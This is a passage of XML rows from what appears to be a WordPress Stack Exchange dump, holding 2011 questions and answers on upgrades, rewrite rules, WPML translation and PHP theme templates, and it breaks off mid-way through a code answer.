  <row Id="20141" PostTypeId="1" CreationDate="2011-06-16T04:56:57.240" Score="1" ViewCount="52" Body="&lt;p&gt;I am working on a custom page template in my theme, i want to remove all other styles and scripts which are loaded, like default theme style, jquery &amp;amp; other scripts, i want to remove all for the template page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest.&lt;/p&gt;&#xA;" OwnerUserId="6237" LastActivityDate="2011-06-16T12:33:22.120" Title="Remove Wordpress Scripts" Tags="&lt;plugins&gt;&lt;jquery&gt;&lt;stylesheet&gt;&lt;wordpress-version&gt;" AnswerCount="1" />
  <row Id="20143" PostTypeId="1" AcceptedAnswerId="20169" CreationDate="2011-06-16T05:39:01.223" Score="0" ViewCount="122" Body="&lt;p&gt;I'm trying to figure out how to create a translation for a post using the internal WPML API (&lt;code&gt;inc/wpml-api.php&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply want to create a translation for post ID xx, set some content and publish it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to play around with &lt;code&gt;wpml_add_translatable_content&lt;/code&gt; but couldn't get it right. Unfortunately there is not much documentation available for this. The closest lead I found is &lt;a href=&quot;http://forum.wpml.org/topic.php?id=2136&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt;, but I couldn't reduce the code to what I need. It's also possible to do this by directly writing to the database, following WPML's &lt;a href=&quot;http://wpml.org/documentation/support/wpml-tables/&quot; rel=&quot;nofollow&quot;&gt;table structure&lt;/a&gt;, but I want to use the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions are welcome.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-21T16:43:48.063" LastActivityDate="2011-06-21T16:43:48.063" Title="[Plugin WPML] : How to create a translation of a post using the WPML API?" Tags="&lt;plugins&gt;&lt;api&gt;&lt;plugin-wpml&gt;&lt;translation&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="20144" PostTypeId="1" AcceptedAnswerId="22000" CreationDate="2011-06-16T06:21:18.297" Score="2" ViewCount="246" Body="&lt;p&gt;I just updated to 3.1.3 and now when I go to the admin I get the &quot;Database Update Required&quot; &lt;code&gt;/wp-admin/upgrade.php&lt;/code&gt; screen. I click 'Upgrade Now' and it says it's done, but then trying to access anything in the admin gets me the same screen again. How do I get past this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: In trying to use toscho's solution, I discovered that my wordpress db tables are not writable, which likely led to the error loop. Any ideas for how to track that down?&lt;/p&gt;&#xA;" OwnerUserId="2088" LastEditorUserId="2088" LastEditorDisplayName="" LastEditDate="2011-07-05T05:54:50.827" LastActivityDate="2011-07-05T06:15:22.727" Title="Site stuck in &quot;Database Update Required&quot; loop" Tags="&lt;database&gt;&lt;upgrade&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="20146" PostTypeId="1" CreationDate="2011-06-16T06:26:36.080" Score="0" ViewCount="44" Body="&lt;p&gt;I have a WP site running on Ubuntu 11.04. I set the apache www-data user to have write permissions on the entire wordpress directory recursively. This made it possible to update the plugins automatically, but the site upgrade functionality is prompting me for FTP credentials. How do I get that screen to work for updates without using FTP?&lt;/p&gt;&#xA;" OwnerUserId="2088" LastActivityDate="2011-08-15T23:25:06.017" Title="How to configure site for automatic upgrades" Tags="&lt;upgrade&gt;&lt;apache&gt;" AnswerCount="3" />
  <row Id="20148" PostTypeId="2" ParentId="20146" CreationDate="2011-06-16T06:45:44.540" Score="0" ViewCount="" Body="&lt;p&gt;If this is a local test site you could do this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R nobody:nobody /path/to/wordpress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's a live site it might be unsecure though.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-16T06:45:44.540" />
  <row Id="20150" PostTypeId="2" ParentId="19430" CreationDate="2011-06-16T07:37:34.383" Score="0" ViewCount="" Body="&lt;p&gt;Go to phpmyadmin,select your installation db and run this query.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$bb_queries['posts'] = &quot;CREATE TABLE IF NOT EXISTS &lt;code&gt;$bbdb-&amp;gt;posts&lt;/code&gt; (&#xA;      &lt;code&gt;post_id&lt;/code&gt; bigint(20) NOT NULL auto_increment,&#xA;      &lt;code&gt;forum_id&lt;/code&gt; int(10) NOT NULL default 1,&#xA;      &lt;code&gt;topic_id&lt;/code&gt; bigint(20) NOT NULL default 1,&#xA;      &lt;code&gt;poster_id&lt;/code&gt; int(10) NOT NULL default 0,&#xA;      &lt;code&gt;post_text&lt;/code&gt; text NOT NULL,&#xA;      &lt;code&gt;post_time&lt;/code&gt; datetime NOT NULL default '0000-00-00 00:00:00',&#xA;      &lt;code&gt;poster_ip&lt;/code&gt; varchar(15) NOT NULL default '',&#xA;      &lt;code&gt;post_status&lt;/code&gt; tinyint(1) NOT NULL default 0,&#xA;      &lt;code&gt;post_position&lt;/code&gt; bigint(20) NOT NULL default 0,&#xA;      PRIMARY KEY (&lt;code&gt;post_id&lt;/code&gt;),&#xA;      KEY &lt;code&gt;topic_time&lt;/code&gt; (&lt;code&gt;topic_id&lt;/code&gt;, &lt;code&gt;post_time&lt;/code&gt;),&#xA;      KEY &lt;code&gt;poster_time&lt;/code&gt; (&lt;code&gt;poster_id&lt;/code&gt;, &lt;code&gt;post_time&lt;/code&gt;),&#xA;      KEY &lt;code&gt;post_time&lt;/code&gt; (&lt;code&gt;post_time&lt;/code&gt;),&#xA;      FULLTEXT KEY &lt;code&gt;post_text&lt;/code&gt; (&lt;code&gt;post_text&lt;/code&gt;)&#xA;  ) ENGINE = MYISAM;&quot;;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It should run just fine.Now try to create a topic.&#xA;Best of luck:)&lt;/p&gt;&#xA;" OwnerUserId="6241" LastActivityDate="2011-06-16T07:37:34.383" />
  <row Id="20151" PostTypeId="2" ParentId="19276" CreationDate="2011-06-16T07:41:19.580" Score="1" ViewCount="" Body="&lt;p&gt;Best would be if you modify the bbpress theme a bit.Copy the entire folder &quot;/bbpress/bbp-themes/bbp-twentyten&quot; folder into your themes folder, rename it to something else, and modify your style.css to make it a custom child theme of whatever your current theme is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can modify as you you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way :Copy all files of that folder inside ur theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your theme's function.php add the following line.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;add_theme_support( 'bbpress' );&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now you have your theme compatible with ur own bbpress page structure which you can modify as you wish.&#xA;Hope that helps&lt;/p&gt;&#xA;" OwnerUserId="6241" LastEditorUserId="6241" LastEditorDisplayName="" LastEditDate="2011-06-16T07:48:34.150" LastActivityDate="2011-06-16T07:48:34.150" />
  <row Id="20152" PostTypeId="1" CreationDate="2011-06-16T07:54:22.787" Score="1" ViewCount="166" Body="&lt;p&gt;I refer to this question previously asked and not suitably answered:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7181/wordpress-overriding-actual-subdirectories&quot;&gt;Wordpress overriding actual subdirectories&lt;/a&gt;&#xA;and also&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/16584/non-wordpress-pages-code-getting-404-error&quot;&gt;Non &amp;quot;Wordpress&amp;quot; pages/code getting 404 error.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the same problem and I have tried nearly everything I found on the net. It's definitely related to having permalinks turned on in the wordpress. &#xA;However, I have put a new .htaccess file in the subdirectory with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteEngine off&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the problem still exists. Even if I completely delete the wordpress .htaccess file the problem still exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried some other suggested solutions such as &#xA;ErrorDocument 401 &quot;Unauthorized access&quot;&#xA;and&#xA;ErrorDocument 404 &quot;Unauthorized access&quot;&#xA;and&#xA;Redirect 301 /mysubdirectory &lt;a href=&quot;http://www.mydomain.com/mysubdirectory/index.html&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/mysubdirectory/index.html&lt;/a&gt;&#xA;in various locations all to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please offer another solution? &#xA;The only way I can fix it is to turn permalinks off but we need them to be on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nicole&lt;/p&gt;&#xA;" OwnerUserId="6242" LastActivityDate="2011-08-05T15:19:53.687" Title="Cannot access non-wordpress subdirectories as wordpress overrides them with a 404 error" Tags="&lt;errors&gt;&lt;htaccess&gt;&lt;404-error&gt;&lt;subdirectories&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="4" />
  <row Id="20153" PostTypeId="2" ParentId="20144" CreationDate="2011-06-16T08:03:15.083" Score="3" ViewCount="" Body="&lt;p&gt;If you didn't disable all your plugins before updating do it manually by renaming the wp-content/plugins directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clear your browsers cache and all cookies and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your still having the problem open the file wp-includes/version.php to make sure it is the correct file for 3.1.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see this database version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * The WordPress version string&#xA; *&#xA; * @global string $wp_version&#xA; */&#xA;$wp_version = '3.1.3';&#xA;&#xA;/**&#xA; * Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.&#xA; *&#xA; * @global int $wp_db_version&#xA; */&#xA;$wp_db_version = 17516;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If everything checks out and your still having the problem add this to your wp-config.php file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define('WP_ALLOW_REPAIR', true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate to : yoursite.com/wp-admin/maint/repair.php to attempt a database repair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What WordPress version are you updating from?&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-06-16T08:03:15.083" />
  <row Id="20154" PostTypeId="2" ParentId="19990" CreationDate="2011-06-16T08:04:27.687" Score="0" ViewCount="" Body="&lt;p&gt;This has now been solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was a case of fixing the http error I was getting with the flash uploader. It then gives you the select button rather than the insert into post.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-06-16T08:04:27.687" />
  <row Id="20155" PostTypeId="2" ParentId="20144" CreationDate="2011-06-16T08:30:32.443" Score="4" ViewCount="" Body="&lt;p&gt;I had the same problem recently. For some reason the option &lt;code&gt;db_upgraded&lt;/code&gt; isn’t set by the upgrade process.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Fix&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;/wp-admin/options.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Fill the field &lt;code&gt;db_upgraded&lt;/code&gt; with a &lt;code&gt;0&lt;/code&gt; (zero).&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;em&gt;Save Changes&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Done.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-16T08:30:32.443" CommentCount="4" />
  <row Id="20156" PostTypeId="1" CreationDate="2011-06-16T08:49:52.237" Score="0" ViewCount="53" Body="&lt;p&gt;with the code from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/17587/how-to-add-media-from-front-end-to-an-existing-post&quot;&gt;this question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;run ok, but I need add one input line to write the title of the file attach and save this title in media when upload this file.&lt;/p&gt;&#xA;" OwnerUserId="6044" LastActivityDate="2011-06-16T11:11:29.310" Title="How to add media from front-end to an existing post and edit file title" Tags="&lt;attachments&gt;&lt;frontend&gt;" AnswerCount="1" />
  <row Id="20157" PostTypeId="1" CreationDate="2011-06-16T08:50:56.593" Score="1" ViewCount="108" Body="&lt;p&gt;Can someone please tell me where the 404 redirection occurs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wanting to redirect to a custom template.php instead of the 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to do? If it is can some one provide me with a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Ravi&lt;/p&gt;&#xA;" OwnerUserId="6245" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-17T07:37:56.930" LastActivityDate="2011-06-17T07:37:56.930" Title="Where does the 404 redirection happen?" Tags="&lt;page&gt;&lt;redirect&gt;&lt;404&gt;&lt;template-redirect&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="20158" PostTypeId="1" CreationDate="2011-06-16T08:56:26.030" Score="0" ViewCount="37" Body="&lt;p&gt;I setup two wordpress blog on the same hosting. One for English language, and one for chinese. The files of english blog is in the root /, and files for chinese is in /cn/ directory. Both use pretty permalink. Here is the web.config file wordpress generated for english blog&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;rule name=&quot;wordpress&quot; patternSyntax=&quot;Wildcard&quot;&amp;gt;&#xA;                &amp;lt;match url=&quot;*&quot; /&amp;gt;&#xA;                    &amp;lt;conditions&amp;gt;&#xA;                        &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsFile&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                        &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsDirectory&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                    &amp;lt;/conditions&amp;gt;&#xA;                &amp;lt;action type=&quot;Rewrite&quot; url=&quot;index.php&quot; /&amp;gt;&#xA;            &amp;lt;/rule&amp;gt;     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It work perfect with the english blog, all the request start with url htp://mydomain.com go to file /index.php of english blog. But the problem is how i can make all request start with the url &lt;a href=&quot;http://mydomain/cn/&quot; rel=&quot;nofollow&quot;&gt;http://mydomain/cn/&lt;/a&gt; goto &lt;a href=&quot;http://mydomain/cn/index.php&quot; rel=&quot;nofollow&quot;&gt;http://mydomain/cn/index.php&lt;/a&gt; of chinese blog. The services I use is godaddy with iis server. Please help.&lt;/p&gt;&#xA;" OwnerUserId="6244" LastActivityDate="2011-06-16T08:56:26.030" Title="web.config problem, setup two wordpress on same Host" Tags="&lt;url-rewriting&gt;&lt;iis&gt;" />
  <row Id="20159" PostTypeId="1" CreationDate="2011-06-16T08:57:52.333" Score="0" ViewCount="55" Body="&lt;p&gt;Hey Guys i've a problem with the advanced most recent posts plugin in use with the qTranslate plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i have one article in two languages, the article displays both languages independently which language is set :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea or another recent post plugin suggest??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;chears…word&lt;/p&gt;&#xA;" OwnerUserId="6246" LastActivityDate="2011-06-16T08:57:52.333" Title="advanced most recent posts with qTranslate" Tags="&lt;plugin-development&gt;&lt;plugin-qtranslate&gt;&lt;recent-posts&gt;" CommentCount="1" />
  <row Id="20160" PostTypeId="2" ParentId="20152" CreationDate="2011-06-16T08:58:45.263" Score="0" ViewCount="" Body="&lt;p&gt;You should be able to just add a &lt;code&gt;RewriteCond&lt;/code&gt; directive that will make sure the WordPress rules are ignored for requests inside your subfolder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !^/mysubdirectory&#xA;# rest of WordPress rewrite rules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, you say that even with &lt;em&gt;no&lt;/em&gt; WordPress &lt;code&gt;.htaccess&lt;/code&gt; you're experiencing the problem? What's the contents of your subdirectory &lt;code&gt;.htaccess&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-16T08:58:45.263" />
  <row Id="20161" PostTypeId="1" AcceptedAnswerId="20162" CreationDate="2011-06-16T09:00:10.400" Score="0" ViewCount="115" Body="&lt;p&gt;Im trying to use the_excerpt form inside a plugins template file, plugin is wp-favorite-posts by default the plugin only lists and displays the saved post title, i have manged to get it to show everything, tax terms, image etc but having a heck of a time with the_excerpt, what happens when i add &lt;code&gt;&amp;lt;?php the_excerpt( $post_id ); ?&amp;gt;&lt;/code&gt; into the code is a continual looping of the favorite post and no excerpt.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using &lt;code&gt;global $post&lt;/code&gt; so that i can get all the info (cept the excerpt)  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;global $post;&#xA;&#xA;if (!empty($user)):&#xA;    if (!wpfp_is_user_favlist_public($user)):&#xA;        echo &quot;$user's Favorite Posts.&quot;;&#xA;    else:&#xA;        echo &quot;$user's list is not public.&quot;;&#xA;    endif;&#xA;endif;&#xA;&#xA;if ($wpfp_before):&#xA;    echo &quot;&amp;lt;p&amp;gt;&quot;.$wpfp_before.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;endif;&#xA;&#xA;&#xA;if ($favorite_post_ids):&#xA;    foreach ($favorite_post_ids as $post_id) {&#xA;       $p = get_post($post_id); ?&amp;gt;&#xA;&#xA;       &amp;lt;div class=&quot;homepage_props&quot;&amp;gt;&#xA;&#xA;           &amp;lt;div class=&quot;homepage_props_inner&quot;&amp;gt;&#xA;               &amp;lt;div class=&quot;homepage_propsbanner&quot;&amp;gt;&#xA;                   &amp;lt;div class=&quot;homepage_new&quot;&amp;gt;&#xA;                       &amp;lt;?php if (strtotime($post-&amp;gt;post_date) &amp;gt; strtotime('-7 days')) { ?&amp;gt;&#xA;                           &amp;lt;img src=&quot;&amp;lt;?php echo get_template_directory_uri(); ?&amp;gt;/images/new.png&quot; alt=&quot;latest property listings&quot; /&amp;gt;&#xA;                       &amp;lt;?php } ?&amp;gt;&#xA;                   &amp;lt;/div&amp;gt;&#xA;                   &amp;lt;h2&amp;gt;&#xA;                       &amp;lt;span style=&quot;float:left; font-weight:bold;&quot;&amp;gt;&#xA;                           &amp;lt;?php &#xA;                           if ( 'sales' == get_post_type($post_id) ) { &#xA;                               echo 'Property For Sale';&#xA;                           } elseif ( 'rentals' == get_post_type($post_id) ) { &#xA;                               echo 'Property For Rent'; &#xA;                           } elseif ( 'business' == get_post_type($post_id) ) { &#xA;                               echo 'Business For Sale&amp;lt;/span&amp;gt;'; &#xA;                           } elseif ( 'bandb' == get_post_type() ) { &#xA;                               echo 'Bed And Breakfast&amp;lt;/span&amp;gt;'; &#xA;                           }&#xA;                           ?&amp;gt;&#xA;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;span style=&quot;float:right; font-weight:normal;&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($post_id); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'themename' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php echo get_the_title ( $post_id ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/h2&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;homepage_props_image&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;?php  &#xA;                    echo &quot;&amp;lt;a href='&quot;.get_permalink($post_id).&quot;'&amp;gt;&quot;;&#xA;                    echo get_the_post_thumbnail ( $post_id, 'medium' );&#xA;                    echo &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;                    ?&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- / homepage_props_image --&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;homepage_props_info hyphenate&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;!-- heres where im trying to put the_excerpt --&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- / homepage_props_info --&amp;gt;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;homepage_props_tax&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;?php&#xA;                    if ( 'sales' == get_post_type($post_id) ) { &#xA;                        echo '&amp;lt;h3&amp;gt;&amp;lt;span style=&quot;float:right; font-weight:normal;&quot;&amp;gt;' . get_the_term_list( $post_id, 'property_type', 'Property Type: ', ' ', '' ),'&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;' . get_the_term_list( $post_id, 'location', 'Location: ', ' ', '' ),'&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'.get_the_term_list( $post_id, 'region', 'Region: ', ' ', '' );&#xA;                    } elseif ( 'rentals' == get_post_type($post_id) ) { &#xA;                        echo '&amp;lt;h3&amp;gt;&amp;lt;span style=&quot;float:right; font-weight:normal;&quot;&amp;gt;' . get_the_term_list( $post_id, 'property_type', 'Property Type: ', ' ', '' ),'&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;' . get_the_term_list( $post_id, 'location', 'Location: ', ' ', '' ),'&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;' . get_the_term_list( $post_id, 'region', 'Region: ', ' ', '' );&#xA;                    } elseif ( 'business' == get_post_type($post_id) ) { &#xA;                        echo '&amp;lt;h3&amp;gt;&amp;lt;span style=&quot;float:right; font-weight:normal;&quot;&amp;gt;' . get_the_term_list( $post_id, 'property_type', 'Property Type: ', ' ', '' ),'&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;' . get_the_term_list( $post_id, 'location', 'Location: ', ' ', '' ),'&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;' . get_the_term_list( $post_id, 'region', 'Region: ', ' ', '' ); &#xA;                    } &#xA;                    ?&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- / homepage_props_tax --&amp;gt;          &#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- / homepage_props_inner --&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- / homepage_props --&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    }&#xA;else:&#xA;&#xA;    echo $wpfp_options['favorites_empty'];&#xA;&#xA;endif; ?&amp;gt;&#xA;&amp;lt;span style=&quot;float:left; font-size:0.7em;&quot;&amp;gt;&amp;lt;?php wpfp_clear_list_link(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php wpfp_cookie_warning(); ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First picture is using the_excerpt  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/yHO9z.jpg&quot; alt=&quot;with the_excerpt&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second picture is without the_excerpt&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/ZHSVr.jpg&quot; alt=&quot;without the excerpt&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-06-16T14:36:17.053" LastActivityDate="2011-06-16T14:36:17.053" Title="Calling the_excerpt from inside a plugin template file" Tags="&lt;plugins&gt;&lt;template&gt;&lt;loop&gt;&lt;the-excerpt&gt;" AnswerCount="1" />
  <row Id="20162" PostTypeId="2" ParentId="20161" CreationDate="2011-06-16T09:21:56.607" Score="3" ViewCount="" Body="&lt;p&gt;You are doing few things wrong:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the_excerpt does not uses post id.&lt;/li&gt;&#xA;&lt;li&gt;When you modify global $post you should always set it back to its original value.&lt;/li&gt;&#xA;&lt;li&gt;you were assigning get_post's return value to $p which was not used in your code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have made few fixes in your code. The below code is just the copy paste of your code with my fixes so try the code below and let me know if you still have issues. Sorry I had to change bit of your code formatting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if (!empty($user)):&#xA;        if (!wpfp_is_user_favlist_public($user)):&#xA;            echo &quot;$user's Favorite Posts.&quot;;&#xA;        else:&#xA;            echo &quot;$user's list is not public.&quot;;&#xA;        endif;&#xA;    endif;&#xA;&#xA;    if ($wpfp_before):&#xA;        echo &quot;&amp;lt;p&amp;gt;&quot;.$wpfp_before.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    endif;&#xA;&#xA;    if ($favorite_post_ids):&#xA;        foreach ($favorite_post_ids as $post_id) {&#xA;            $p = get_post($post_id);&#xA;?&amp;gt;&#xA;      &amp;lt;div class=&quot;homepage_props&quot;&amp;gt;&#xA;&#xA;                       &amp;lt;div class=&quot;homepage_props_inner&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;homepage_propsbanner&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;homepage_new&quot;&amp;gt;&#xA;                                &amp;lt;?php if (strtotime($p-&amp;gt;post_date) &amp;gt; strtotime('-7 days')) { ?&amp;gt;&#xA;                                    &amp;lt;img src=&quot;&amp;lt;?php echo get_template_directory_uri(); ?&amp;gt;/images/new.png&quot; alt=&quot;latest property listings&quot; /&amp;gt;&#xA;                                &amp;lt;?php } ?&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;h2&amp;gt;&amp;lt;span style=&quot;float:left; font-weight:bold;&quot;&amp;gt;&#xA;                                &amp;lt;?php &#xA;                                    if ( 'sales' == $p-&amp;gt;post_type ) { &#xA;                                        echo 'Property For Sale'; &#xA;                                    } elseif ( 'rentals' == $p-&amp;gt;post_type ) {&#xA;                                        echo 'Property For Rent'; &#xA;                                    } elseif ( 'business' == $p-&amp;gt;post_type ) { &#xA;                                        echo 'Business For Sale'; &#xA;                                    } elseif ( 'bandb' == $p-&amp;gt;post_type ) {&#xA;                                        echo 'Bed And Breakfast'; &#xA;                                    } &#xA;                                ?&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                &amp;lt;span style=&quot;float:right; font-weight:normal;&quot;&amp;gt;&#xA;                                    &amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($post_id); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'themename' ), get_the_title( $post_id ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php echo get_the_title ( $post_id ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                &amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                  &amp;lt;div class=&quot;homepage_props_image&quot;&amp;gt;&#xA;&amp;lt;?php  &#xA;&#xA;        echo &quot;&amp;lt;a href='&quot;.get_permalink($post_id).&quot;'&amp;gt;&quot;;&#xA;        echo get_the_post_thumbnail ( $post_id, 'medium' );&#xA;        echo &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;&#xA;?&amp;gt;&#xA;                                   &amp;lt;/div&amp;gt;&amp;lt;!-- / homepage_props_image --&amp;gt;&#xA;&#xA;                                           &amp;lt;div class=&quot;homepage_props_info hyphenate&quot;&amp;gt;&#xA;&#xA;                                           &amp;lt;?php echo $p-&amp;gt;post_excerpt; ?&amp;gt;&#xA;&#xA;                                           &amp;lt;/div&amp;gt;&amp;lt;!-- / homepage_props_info --&amp;gt;&#xA;&#xA;                                                     &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                                            &amp;lt;div class=&quot;homepage_props_tax&quot;&amp;gt;&#xA;&#xA;                                    &amp;lt;?php &#xA;                                        if ( in_array( $p-&amp;gt;post_type, array( 'sales', 'rentals', 'business' ) ) ) {&#xA;                                            echo '&amp;lt;h3&amp;gt;&amp;lt;span style=&quot;float:right; font-weight:normal;&quot;&amp;gt;' .get_the_term_list( $post_id, 'property_type', 'Property Type: ', ' ', '' ),'&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;' .get_the_term_list( $post_id, 'location', 'Location: ', ' ', '' ),'&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'.get_the_term_list( $post_id, 'region', 'Region: ', ' ', '' );&#xA;                                            echo 